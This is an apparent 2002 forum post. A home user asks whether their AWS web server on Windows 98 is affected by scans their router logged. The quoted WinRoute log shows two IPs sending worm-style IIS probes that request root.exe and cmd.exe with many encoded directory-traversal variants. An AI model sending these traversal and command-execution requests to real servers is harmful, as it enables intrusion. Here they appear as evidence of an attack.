I have noticed some strange requests for unknown executibles in odd directories. I was notified by my router (witch is also running AWS). The following is a section of the log:
WinRoute - Debug Log
--------------------------------------------------------------------------------
[30/Sep/2002 18:22:21] DNS: query 68.81.145.104:58802 -> 68.80.0.6:53 for mail.earthlink.net
[30/Sep/2002 18:25:12] tmp: 68.81.134.193 -> www GET /scripts/root.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:14] tmp: 68.81.134.193 -> www GET /MSADC/root.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:15] tmp: 68.81.134.193 -> www GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:16] tmp: 68.81.134.193 -> www GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:17] tmp: 68.81.134.193 -> www GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:18] tmp: 68.81.134.193 -> www GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:19] tmp: 68.81.134.193 -> www GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:20] tmp: 68.81.134.193 -> www GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:31] tmp: 68.81.134.193 -> www GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:32] tmp: 68.81.134.193 -> www GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:34] tmp: 68.81.134.193 -> www GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:38] tmp: 68.81.134.193 -> www GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:39] tmp: 68.81.134.193 -> www GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:40] tmp: 68.81.134.193 -> www GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:42] tmp: 68.81.134.193 -> www GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:25:46] tmp: 68.81.134.193 -> www GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:32:17] DNS: query 68.81.145.104:58806 -> 68.80.0.6:53 for mail.earthlink.net
[30/Sep/2002 18:40:05] DNS: query 68.81.145.104:58809 -> 68.80.0.6:53 for mail.bellatlantic.net
[30/Sep/2002 18:42:20] DNS: query 68.81.145.104:58811 -> 68.80.0.6:53 for mail.earthlink.net
[30/Sep/2002 18:42:29] tmp: 68.81.4.248 -> www GET /scripts/root.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:30] tmp: 68.81.4.248 -> www GET /MSADC/root.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:30] tmp: 68.81.4.248 -> www GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:32] tmp: 68.81.4.248 -> www GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:32] tmp: 68.81.4.248 -> www GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:34] tmp: 68.81.4.248 -> www GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:35] tmp: 68.81.4.248 -> www GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:42:36] tmp: 68.81.4.248 -> www GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
[30/Sep/2002 18:52:17] DNS: query 68.81.145.104:58815 -> 68.80.0.6:53 for mail.earthlink.net
[30/Sep/2002 18:52:18] DNS: query 68.81.145.104:58817 -> 68.80.0.6:53 for mail.comcast.net
--------------------------------------------------------------------------------
Only the tmp (temporary packets) are realated to the scan. Even though this happened 13 days ago they always seem to pick up after a few days. I just want to make sure that AWS is not affected whatsoever by this. I am pretty sure that my machine should not be affected by this because I am running AWS on a W98 machine.